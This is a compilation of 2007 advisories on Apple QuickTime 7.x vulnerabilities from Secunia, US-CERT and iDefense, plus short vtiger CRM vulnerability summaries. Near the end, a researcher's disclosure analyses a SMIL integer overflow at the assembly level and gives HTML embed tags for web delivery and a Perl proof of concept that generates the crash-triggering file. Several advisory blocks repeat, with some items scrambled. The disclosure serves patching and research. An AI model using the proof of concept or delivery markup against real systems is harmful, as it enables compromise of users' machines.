applications. ---------------------------------------------------------------------- TITLE: Apple QuickTime Multiple Vulnerabilities SECUNIA ADVISORY ID: SA26034 VERIFY ADVISORY: http://secunia.com/advisories/26034/ CRITICAL: Highly critical IMPACT: Exposure of sensitive information, DoS, System access WHERE: >From remote REVISION: 1.1 originally posted 2007-07-12 SOFTWARE: Apple QuickTime 7.x http://secunia.com/product/5090/ DESCRIPTION: Some vulnerabilities have been reported in Apple QuickTime, which can be exploited by malicious people to compromise a user's system. 1) An unspecified error exists in the processing of H.264 movies. This can be exploited to cause memory corruption and may allow execution of arbitrary code when a user accesses a specially crafted H.264 movie. 2) An unspecified error exists in the processing of movie files. 3) An integer overflow error exists in the handling of .m4v files and can be exploited to execute arbitrary code when a user accesses a specially crafted .m4v file. 4) An integer overflow error exists in the handling of the "author" and "title" fields when parsing SMIL files. 5) A design error exists in QuickTime for Java, which can be exploited to disable security checks and execute arbitrary code when a user visits a web site containing a specially crafted Java applet. 6) A design error exists in QuickTime for Java, which can be exploited to bypass security checks and read and write to process memory. This can lead to execution of arbitrary code when a user visits a web site containing a specially crafted Java applet. 7) A design error exists in QuickTime for Java due to JDirect exposing interfaces that may allow loading arbitrary libraries and freeing arbitrary memory. This can be exploited to execute arbitrary code when a user visits a web site containing a specially crafted Java applet. The vulnerabilities are reported in versions prior to 7.2. SOLUTION: Update to version 7.2. QuickTime 7.2 for Mac: http://www.apple.com/support/downloads/quicktime72formac.html QuickTime 7.2 for Windows: http://www.apple.com/support/downloads/quicktime72forwindows.html PROVIDED AND/OR DISCOVERED BY: 1) The vendor credits Tom Ferris, Security-Protocols.com and Matt Slot, Ambrosia Software, Inc. 2) The vendor credits Jonathan 'Wolf' Rentzsch of Red Shed Software. 3) The vendor credits Tom Ferris, Security-Protocols.com. 4) David Vaartjes of ITsec Security Services, reported via iDefense. 5, 6, 7) The vendor credits Adam Gowdiak. 8) Reported by the vendor. CHANGELOG: 2007-07-12: Added link to US-CERT. ORIGINAL ADVISORY: Apple: http://docs.info.apple.com/article.html?artnum=305947 iDefense: http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=556 OTHER REFERENCES: US-CERT VU#582681: http://www.kb.cert.org/vuls/id/582681 ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ---------------------------------------------------------------------- . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA07-193A Apple Releases Security Updates for QuickTime Original release date: July 12, 2007 Last revised: -- Source: US-CERT Systems Affected Apple QuickTime on systems running * Apple Mac OS X * Microsoft Windows Overview Apple QuickTime contains multiple vulnerabilities. I. Description Apple QuickTime 7.2 resolves multiple vulnerabilities in the way Java applets and various types of media files are handled. Since QuickTime configures most web browsers to handle QuickTime media files, an attacker could exploit these vulnerabilities using a web page. Note that QuickTime ships with Apple iTunes. For more information, please refer to the Vulnerability Notes Database. II. For further information, please see the Vulnerability Notes Database. III. Solution Upgrade QuickTime Upgrade to QuickTime 7.2. This and other updates for Mac OS X are available via Apple Update. On Microsoft Windows, QuickTime users can install the update by using the built-in auto-update mechanism, Apple Software Update, or by installing the update manually. Disabling QuickTime in your web browser may defend against this attack vector. For more information, refer to the Securing Your Web Browser document. Disabling Java in your web browser may defend against this attack vector. Instructions for disabling Java can be found in the Securing Your Web Browser document. References * Vulnerability Notes for QuickTime 7.2 - <http://www.kb.cert.org/vuls/byid?searchview&query=QuickTime_72> * About the security content of the QuickTime 7.2 Update - <http://docs.info.apple.com/article.html?artnum=305947> * How to tell if Software Update for Windows is working correctly when no updates are available - <http://docs.info.apple.com/article.html?artnum=304263> * Apple QuickTime 7.2 for Windows - <http://www.apple.com/support/downloads/quicktime72forwindows.html> * Apple QuickTime 7.2 for Mac - <http://www.apple.com/support/downloads/quicktime72formac.html> * Standalone Apple QuickTime Player - <http://www.apple.com/quicktime/download/standalone.html> * Mac OS X: Updating your software - <http://docs.info.apple.com/article.html?artnum=106704> * Securing Your Web Browser - <http://www.us-cert.gov/reading_room/securing_browser/> ____________________________________________________________________ The most recent version of this document can be found at: <http://www.us-cert.gov/cas/techalerts/TA07-193A.html> ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to <cert@cert.org> with "TA07-193A Feedback VU#582681" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit <http://www.us-cert.gov/cas/signup.html>. ____________________________________________________________________ Produced 2007 by US-CERT, a government organization. Terms of use: <http://www.us-cert.gov/legal.html> ____________________________________________________________________ Revision History Thursday July 12, 2007: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRpZsJ/RFkHkM87XOAQKLMgf9GpK/pbKTrSe0yKCRMt8Z4lMKl8VE+Rqr 4i8GfVXYUcBKbTlA8TTyf5ucbmCVAnjGJIq0W6X5gLBeA0QxCZ6qto/iPqviuvoV 8tu92/DuerYOkZMvJcn4RjAlMhM9CWCqJh1QG6R2Csn8AyeKEOFDiKYqoDzT+LoQ zojxmlNJIbUvIIGv8Z12Xkr1LLDmD4rs1nfDEBZm7yLTWRItmXpvSidftdUGETDZ +ok1SIhkZEbPNT7gAox9RZaKyIRHV7V4wZwqDd3weo6T7UPlhsgRqe88h1R5Yfq8 a7ePH0WSbTCqdGmuoM+nir4iDldoxB8OpbMUQH1nmWcDmc9xv++MHQ== =EV1X -----END PGP SIGNATURE-----

The design of QuickTime for Java in Apple Quicktime before 7.2 allows remote attackers to bypass certain security controls and write to process memory via Java applets, possibly leading to arbitrary code execution. Apple QuickTime fails to properly handle malformed movie files. This vulnerability may allow a remote, unauthenticated attacker to execute arbitrary code or cause a denial-of-service condition. Apple QuickTime is prone to an information-disclosure and multiple remote code-execution vulnerabilities. Remote attackers may exploit these issues by enticing victims into opening maliciously crafted files or visiting maliciously crafted websites. Failed exploit attempts of remote code-execution issues may result in denial-of-service conditions. Successful exploits of the information-disclosure issue may lead to further attacks. Apple QuickTime is a popular multimedia player that supports a wide variety of media formats. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. The Full Featured Secunia Network Software Inspector (NSI) is now available: http://secunia.com/network_software_inspector/ The Secunia NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. ---------------------------------------------------------------------- TITLE: Apple QuickTime Multiple Vulnerabilities SECUNIA ADVISORY ID: SA26034 VERIFY ADVISORY: http://secunia.com/advisories/26034/ CRITICAL: Highly critical IMPACT: Exposure of sensitive information, DoS, System access WHERE: >From remote REVISION: 1.1 originally posted 2007-07-12 SOFTWARE: Apple QuickTime 7.x http://secunia.com/product/5090/ DESCRIPTION: Some vulnerabilities have been reported in Apple QuickTime, which can be exploited by malicious people to compromise a user's system. 1) An unspecified error exists in the processing of H.264 movies. This can be exploited to cause memory corruption and may allow execution of arbitrary code when a user accesses a specially crafted H.264 movie. 2) An unspecified error exists in the processing of movie files. 3) An integer overflow error exists in the handling of .m4v files and can be exploited to execute arbitrary code when a user accesses a specially crafted .m4v file. 4) An integer overflow error exists in the handling of the "author" and "title" fields when parsing SMIL files. This can lead to execution of arbitrary code when a user visits a web site containing a specially crafted Java applet. This can be exploited to execute arbitrary code when a user visits a web site containing a specially crafted Java applet. 8) A design error exists in QuickTime for Java, which can be exploited to capture the user's screen content when a user visits a web site containing a specially crafted Java applet. The vulnerabilities are reported in versions prior to 7.2. SOLUTION: Update to version 7.2. QuickTime 7.2 for Mac: http://www.apple.com/support/downloads/quicktime72formac.html QuickTime 7.2 for Windows: http://www.apple.com/support/downloads/quicktime72forwindows.html PROVIDED AND/OR DISCOVERED BY: 1) The vendor credits Tom Ferris, Security-Protocols.com and Matt Slot, Ambrosia Software, Inc. 2) The vendor credits Jonathan 'Wolf' Rentzsch of Red Shed Software. 3) The vendor credits Tom Ferris, Security-Protocols.com. 4) David Vaartjes of ITsec Security Services, reported via iDefense. 5, 6, 7) The vendor credits Adam Gowdiak. 8) Reported by the vendor. CHANGELOG: 2007-07-12: Added link to US-CERT. ORIGINAL ADVISORY: Apple: http://docs.info.apple.com/article.html?artnum=305947 iDefense: http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=556 OTHER REFERENCES: US-CERT VU#582681: http://www.kb.cert.org/vuls/id/582681 ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ---------------------------------------------------------------------- . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA07-193A Apple Releases Security Updates for QuickTime Original release date: July 12, 2007 Last revised: -- Source: US-CERT Systems Affected Apple QuickTime on systems running * Apple Mac OS X * Microsoft Windows Overview Apple QuickTime contains multiple vulnerabilities. I. Description Apple QuickTime 7.2 resolves multiple vulnerabilities in the way Java applets and various types of media files are handled. Since QuickTime configures most web browsers to handle QuickTime media files, an attacker could exploit these vulnerabilities using a web page. Note that QuickTime ships with Apple iTunes. For more information, please refer to the Vulnerability Notes Database. II. For further information, please see the Vulnerability Notes Database. III. Solution Upgrade QuickTime Upgrade to QuickTime 7.2. This and other updates for Mac OS X are available via Apple Update. On Microsoft Windows, QuickTime users can install the update by using the built-in auto-update mechanism, Apple Software Update, or by installing the update manually. Disabling QuickTime in your web browser may defend against this attack vector. For more information, refer to the Securing Your Web Browser document. Disabling Java in your web browser may defend against this attack vector. Instructions for disabling Java can be found in the Securing Your Web Browser document. References * Vulnerability Notes for QuickTime 7.2 - <http://www.kb.cert.org/vuls/byid?searchview&query=QuickTime_72> * About the security content of the QuickTime 7.2 Update - <http://docs.info.apple.com/article.html?artnum=305947> * How to tell if Software Update for Windows is working correctly when no updates are available - <http://docs.info.apple.com/article.html?artnum=304263> * Apple QuickTime 7.2 for Windows - <http://www.apple.com/support/downloads/quicktime72forwindows.html> * Apple QuickTime 7.2 for Mac - <http://www.apple.com/support/downloads/quicktime72formac.html> * Standalone Apple QuickTime Player - <http://www.apple.com/quicktime/download/standalone.html> * Mac OS X: Updating your software - <http://docs.info.apple.com/article.html?artnum=106704> * Securing Your Web Browser - <http://www.us-cert.gov/reading_room/securing_browser/> ____________________________________________________________________ The most recent version of this document can be found at: <http://www.us-cert.gov/cas/techalerts/TA07-193A.html> ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to <cert@cert.org> with "TA07-193A Feedback VU#582681" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit <http://www.us-cert.gov/cas/signup.html>. ____________________________________________________________________ Produced 2007 by US-CERT, a government organization. Terms of use: <http://www.us-cert.gov/legal.html> ____________________________________________________________________ Revision History Thursday July 12, 2007: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRpZsJ/RFkHkM87XOAQKLMgf9GpK/pbKTrSe0yKCRMt8Z4lMKl8VE+Rqr 4i8GfVXYUcBKbTlA8TTyf5ucbmCVAnjGJIq0W6X5gLBeA0QxCZ6qto/iPqviuvoV 8tu92/DuerYOkZMvJcn4RjAlMhM9CWCqJh1QG6R2Csn8AyeKEOFDiKYqoDzT+LoQ zojxmlNJIbUvIIGv8Z12Xkr1LLDmD4rs1nfDEBZm7yLTWRItmXpvSidftdUGETDZ +ok1SIhkZEbPNT7gAox9RZaKyIRHV7V4wZwqDd3weo6T7UPlhsgRqe88h1R5Yfq8 a7ePH0WSbTCqdGmuoM+nir4iDldoxB8OpbMUQH1nmWcDmc9xv++MHQ== =EV1X -----END PGP SIGNATURE-----

Integer overflow in Apple Quicktime before 7.2 on Mac OS X 10.3.9 and 10.4.9 allows user-assisted remote attackers to execute arbitrary code via crafted (1) title and (2) author fields in an SMIL file, related to improper calculations for memory allocation. Apple QuickTime fails to properly handle malformed movie files. This vulnerability may allow a remote, unauthenticated attacker to execute arbitrary code or cause a denial-of-service condition. Apple QuickTime is prone to an information-disclosure and multiple remote code-execution vulnerabilities. Remote attackers may exploit these issues by enticing victims into opening maliciously crafted files or visiting maliciously crafted websites. Failed exploit attempts of remote code-execution issues may result in denial-of-service conditions. Successful exploits of the information-disclosure issue may lead to further attacks. ---------------------------------------------------------------------- Try a new way to discover vulnerabilities that ALREADY EXIST in your IT infrastructure. The Full Featured Secunia Network Software Inspector (NSI) is now available: http://secunia.com/network_software_inspector/ The Secunia NSI enables you to INSPECT, DISCOVER, and DOCUMENT vulnerabilities in more than 4,000 different Windows applications. ---------------------------------------------------------------------- TITLE: Apple QuickTime Multiple Vulnerabilities SECUNIA ADVISORY ID: SA26034 VERIFY ADVISORY: http://secunia.com/advisories/26034/ CRITICAL: Highly critical IMPACT: Exposure of sensitive information, DoS, System access WHERE: >From remote REVISION: 1.1 originally posted 2007-07-12 SOFTWARE: Apple QuickTime 7.x http://secunia.com/product/5090/ DESCRIPTION: Some vulnerabilities have been reported in Apple QuickTime, which can be exploited by malicious people to compromise a user's system. 1) An unspecified error exists in the processing of H.264 movies. 2) An unspecified error exists in the processing of movie files. 5) A design error exists in QuickTime for Java, which can be exploited to disable security checks and execute arbitrary code when a user visits a web site containing a specially crafted Java applet. 6) A design error exists in QuickTime for Java, which can be exploited to bypass security checks and read and write to process memory. 7) A design error exists in QuickTime for Java due to JDirect exposing interfaces that may allow loading arbitrary libraries and freeing arbitrary memory. 8) A design error exists in QuickTime for Java, which can be exploited to capture the user's screen content when a user visits a web site containing a specially crafted Java applet. QuickTime 7.2 for Mac: http://www.apple.com/support/downloads/quicktime72formac.html QuickTime 7.2 for Windows: http://www.apple.com/support/downloads/quicktime72forwindows.html PROVIDED AND/OR DISCOVERED BY: 1) The vendor credits Tom Ferris, Security-Protocols.com and Matt Slot, Ambrosia Software, Inc. 2) The vendor credits Jonathan 'Wolf' Rentzsch of Red Shed Software. 3) The vendor credits Tom Ferris, Security-Protocols.com. 5, 6, 7) The vendor credits Adam Gowdiak. 8) Reported by the vendor. CHANGELOG: 2007-07-12: Added link to US-CERT. ORIGINAL ADVISORY: Apple: http://docs.info.apple.com/article.html?artnum=305947 iDefense: http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=556 OTHER REFERENCES: US-CERT VU#582681: http://www.kb.cert.org/vuls/id/582681 ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help everybody keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ---------------------------------------------------------------------- . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA07-193A Apple Releases Security Updates for QuickTime Original release date: July 12, 2007 Last revised: -- Source: US-CERT Systems Affected Apple QuickTime on systems running * Apple Mac OS X * Microsoft Windows Overview Apple QuickTime contains multiple vulnerabilities. I. Description Apple QuickTime 7.2 resolves multiple vulnerabilities in the way Java applets and various types of media files are handled. Since QuickTime configures most web browsers to handle QuickTime media files, an attacker could exploit these vulnerabilities using a web page. Note that QuickTime ships with Apple iTunes. For more information, please refer to the Vulnerability Notes Database. For further information, please see the Vulnerability Notes Database. Solution Upgrade QuickTime Upgrade to QuickTime 7.2. On Microsoft Windows, QuickTime users can install the update by using the built-in auto-update mechanism, Apple Software Update, or by installing the update manually. Disabling QuickTime in your web browser may defend against this attack vector. For more information, refer to the Securing Your Web Browser document. Disabling Java in your web browser may defend against this attack vector. Instructions for disabling Java can be found in the Securing Your Web Browser document. References * Vulnerability Notes for QuickTime 7.2 - <http://www.kb.cert.org/vuls/byid?searchview&query=QuickTime_72> * About the security content of the QuickTime 7.2 Update - <http://docs.info.apple.com/article.html?artnum=305947> * How to tell if Software Update for Windows is working correctly when no updates are available - <http://docs.info.apple.com/article.html?artnum=304263> * Apple QuickTime 7.2 for Windows - <http://www.apple.com/support/downloads/quicktime72forwindows.html> * Apple QuickTime 7.2 for Mac - <http://www.apple.com/support/downloads/quicktime72formac.html> * Standalone Apple QuickTime Player - <http://www.apple.com/quicktime/download/standalone.html> * Mac OS X: Updating your software - <http://docs.info.apple.com/article.html?artnum=106704> * Securing Your Web Browser - <http://www.us-cert.gov/reading_room/securing_browser/> ____________________________________________________________________ The most recent version of this document can be found at: <http://www.us-cert.gov/cas/techalerts/TA07-193A.html> ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to <cert@cert.org> with "TA07-193A Feedback VU#582681" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit <http://www.us-cert.gov/cas/signup.html>. ____________________________________________________________________ Produced 2007 by US-CERT, a government organization. Terms of use: <http://www.us-cert.gov/legal.html> ____________________________________________________________________ Revision History Thursday July 12, 2007: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRpZsJ/RFkHkM87XOAQKLMgf9GpK/pbKTrSe0yKCRMt8Z4lMKl8VE+Rqr 4i8GfVXYUcBKbTlA8TTyf5ucbmCVAnjGJIq0W6X5gLBeA0QxCZ6qto/iPqviuvoV 8tu92/DuerYOkZMvJcn4RjAlMhM9CWCqJh1QG6R2Csn8AyeKEOFDiKYqoDzT+LoQ zojxmlNJIbUvIIGv8Z12Xkr1LLDmD4rs1nfDEBZm7yLTWRItmXpvSidftdUGETDZ +ok1SIhkZEbPNT7gAox9RZaKyIRHV7V4wZwqDd3weo6T7UPlhsgRqe88h1R5Yfq8 a7ePH0WSbTCqdGmuoM+nir4iDldoxB8OpbMUQH1nmWcDmc9xv++MHQ== =EV1X -----END PGP SIGNATURE----- . II. When parsing an SMIL file, arithmetic calculations can cause insufficient memory to be allocated. When copying in user-supplied data from the SMIL file, a heap-based buffer overflow occurs. This results in a potentially exploitable condition. III. This could be accomplished using a malicious SMIL file referenced from a website under the attacker's control. IV. Previous versions are suspected to be vulnerable. V. WORKAROUND iDefense is currently unaware of any effective workarounds for this vulnerability. VI. VENDOR RESPONSE Apple has released QuickTime 7.2 which resolves this issue. More information is available via Apple's QuickTime Security Update page at the URL shown below. http://docs.info.apple.com/article.html?artnum=305947 VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2007-2394 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org/), which standardizes names for security problems. VIII. CREDIT This vulnerability was reported to iDefense by David Vaartjes from ITsec Security Services http://www.itsec-ss.nl/. Get paid for vulnerability research http://labs.idefense.com/methodology/vulnerability/vcp.php Free tools, research and upcoming events http://labs.idefense.com/ X. LEGAL NOTICES Copyright \xa9 2007 iDefense, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDefense. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please e-mail customerservice@idefense.com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ . iDefense confirmed the existence of this vulnerability in version 7.1.3 and 7.1.5 for Windows XP SP2 and Mac OS X also [1]. As QuickTime binaries for Windows XP and Vista are identical, this issue will affect QuickTime running on Windows Vista also. ---------------------------------------------------------------------- FIXED VERSIONS ---------------------------------------------------------------------- Apple has released QuickTime version 7.2 for Mac OS X v10.3.9, Mac OS X v10.4.9 or later, Windows Vista and Windows XP SP2 to address this issue. See [2] for additional information about this update. QuickTime 7.2 is not available for the Windows 2000 platform. Presumably, Apple dropped support for this platform. ---------------------------------------------------------------------- PRODUCT DESCRIPTION ---------------------------------------------------------------------- QuickTime is Apple's media player product. According to Apple, QuickTime is downloaded over 10 million times a month. According to Secunia, QuickTime is currently installed on over 50% of PCs [3]. The Synchronized MultiMedia Integration Language (SMIL) provides a high-level scripting syntax for describing multimedia presentations. SMIL files are text files that use XML-based syntax to specify what media elements to present and where and when to present them. This can be exploited to overflow that heap buffer with user supplied content, which eventually can result in the execution of arbitrary code. -- <smil> <head> <meta name="title" content="specific-length"/> <meta name="author" content="specific-length"/> </head> </smil> -- When such a SMIL file is parsed the length value of the author field is stored in a short int data type (16 bit) without bounds checking. In sub_66952B50(), this value is (sign) extended to a long int data type (32 bit). -- 66952C9A push eax 66952C9B call sub_668B57D0 66952CA0 --> movsx eax, word ptr [esp+2Ch+var_C] 66952CA5 mov edx, [esp+2Ch+arg_4] 66952CA9 lea ecx, [esp+2Ch+var_10] -- So, when the length of the author field is >= 0x8000 bytes, it will be extended to a length value between 0xffff8000 and 0xffffffff. Next, in sub_668DCFD0() the sign extended length of the author field is added to the length of the title field + 0x20: -- 668DD04D jnz short loc_668DD0A0 668DD04F test ebx, ebx 668DD051 jz loc_668DD1EB 668DD057 --> lea eax, [edi+ebx] // edi holds the length of // the title field + 0x20. // ebx holds the sign // extended length of the // author field. 668DD05A push eax 668DD05B push ecx -- In sub_668DCA60(), 4 is added to the result of the calculation: -- 668DCB37 test edi, edi 668DCB39 jz short loc_668DCB40 668DCB3B --> lea eax, [edi+4] // edi holds the result 668DCB3E jmp short loc_668DCB42 -- Next, in sub_668F5550() the final length value is used as the dwBytes argument in a call to HeapRealloc(): -- 668F555E push eax // dwBytes (user specified) 668F555F push ecx // lpMem 668F5560 push 1 // dwFlags 668F5562 push edx // hHeap 668F5563 --> call ds:HeapReAlloc -- This allows for the allocation of a controlled amount of memory. For example, when setting the length of the author field to 0xff00 (65280) and the length of the title field to 0xdf (223), the following situation occurs: 1: sub_66952B50(): 0x0000ff00 will be sign extended to 0xffffff00. 2: sub_668DCFD0(): 0x000000ff (0x000000df + 0x00000020) will be added to 0xffffff00 resulting in a length value of 0xffffffff. 3: sub_668DCA60(): 0x00000004 is added to 0xffffffff, resulting in a value of 0x00000003. 4: sub_668F5550(): HeapRealloc() will allocate 0x00000003 bytes of memory. Next, the pointer returned by HeapRealloc() is used by sub_668DCFD0() as the dest argument in a call to memcpy(): -- 668DD08E push ebx // count, length value right // after sign extension // (0xffffff00). 668DD08F push edx // src, buffer with user // supplied (author) content. 668DD090 add eax, esi 668DD092 --> push eax // dest, 3 byte buffer. 668DD093 call _memcpy 668DD098 add esp, 18h 668DD09B jmp loc_668DD1E5 -- This copy action will result in an overflow of the 3 byte heap buffer with data from the author field (user supplied). Due to the large amount of data written, this will finally result in an access violation when memory is read or written outside the heap page. The exception is handled by the program and execution continues with a corrupt heap. For my platform (win2k), when a call to HeapAlloc() is executed the unlink code of ntdll will "fail" because we have overwritten pointers in the heap management structures of other heap buffers with our data. The status of the registers during unlinking is: -- EAX 78787878 <-- user supplied ECX 78787878 <-- user supplied EDX 012DF6F0 ASCII "xxxxxxxxxxx <-> xxxxxxxxxxxx" EBX 00000078 ESP 0012EDC8 EBP 0012EF84 ESI 01200000 EDI 012DF6F0 ASCII "xxxxxxxxxxx <-> xxxxxxxxxxxx" -- -- 77f867e6 mov dword ptr ds:[ecx],eax 77f867e8 mov dword ptr ds:[eax+4],ecx -- The unlink instructions will result in the following exception: --------------------------- QuickTimePlayerMain: QuickTimePlayer.exe "The instruction at "0x77f867e6" referenced memory at "0x78787878". The memory could not be "written" --------------------------- This shows that we are able to overwrite 4 bytes anywhere in the address space of the process with "any" 4 byte value we want, which can for example be exploited to overwrite function pointers like the SEH or UEF to gain control of the process. This 4 byte overwrite via the unlink code does not apply to XPSP2 and W2K3 as "safe unlinking" is used on these platforms. ---------------------------------------------------------------------- ATTACK VECTORS ---------------------------------------------------------------------- This vulnerability can be triggered by luring a target user into running a malicious SMIL file locally or via a webpage. In the later scenario the OBJECT (IE) and/or EMBED (FireFox) tags can be used: <OBJECT CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab" WIDTH="10" HEIGHT="10" > <!-- malicious SMIL file --> <PARAM NAME="src" VALUE="poc.smil" /> <EMBED <!-- available .qtif or .mov file to start up QT for FF --> SRC="available-sample.qtif" <!-- malicious SMIL file --> QTSRC="poc.smil" WIDTH="10" HEIGHT="10" PLUGINSPAGE="www.apple.com/quicktime/download" TYPE="video/quicktime" /> </OBJECT> ---------------------------------------------------------------------- PROOF OF CONCEPT ---------------------------------------------------------------------- #!/usr/bin/perl -w #### # QuickTime SMIL integer overflow vulnerability (CVE-2007-2394) POC # # Researched on QuickTime 7.1.3 on Windows 2000 SP4. # # David Vaartjes <d.vaartjes at gmail.com> #### $file = "poc.smil"; $padd = "x"; $cop_len = 36; #### # By choosing the following lengths the # integer overflow will be triggered. #### $tit_len = 223; $auth_len = 65280; open(FH,">$file") or die "Can't open file:$!"; print FH "<smil>\n". "<head>\n". " <meta name=\"title\" content=\"".$padd x $tit_len."\"/>\n". " <meta name=\"author\" content=\"".$padd x $auth_len."\"/>\n". " <meta name=\"copyright\" content=\"".$padd x $cop_len."\"/>\n". "</head>\n". "</smil>"; close(FH); ---------------------------------------------------------------------- REFERENCES ---------------------------------------------------------------------- [1] http://labs.idefense.com/intelligence/vulnerabilities/display.php? id=556 [2] http://docs.info.apple.com/article.html?artnum=305947 [3] http://secunia.com/blog/7/ ---------------------------------------------------------------------- DISCLOSURE TIMELINE ---------------------------------------------------------------------- 04/02/2007 Initial vendor notification (by iDefense) 04/09/2007 Initial vendor response 07/11/2007 Apple security bulletin & patches available 07/11/2007 Public disclosure of iDefense advisory 09/03/2007 Public disclosure of this advisory

WordPlugin in the wordintegration component in vtiger CRM before 5.0.3 allows remote authenticated users to bypass field level security permissions and merge arbitrary fields in an Email template, as demonstrated by the fields in the Contact module. vtiger CRM is prone to a remote security vulnerability

index.php in vtiger CRM before 5.0.3 allows remote authenticated users to obtain all users' names and e-mail addresses, and possibly change user settings, via a modified record parameter in a DetailView action to the Users module. NOTE: the vendor disputes the changing of settings, reporting that the attack vector results in a "You are not permitted to execute this Operation" error message in a 5.0.3 demo. vtiger CRM is prone to a denial-of-service vulnerability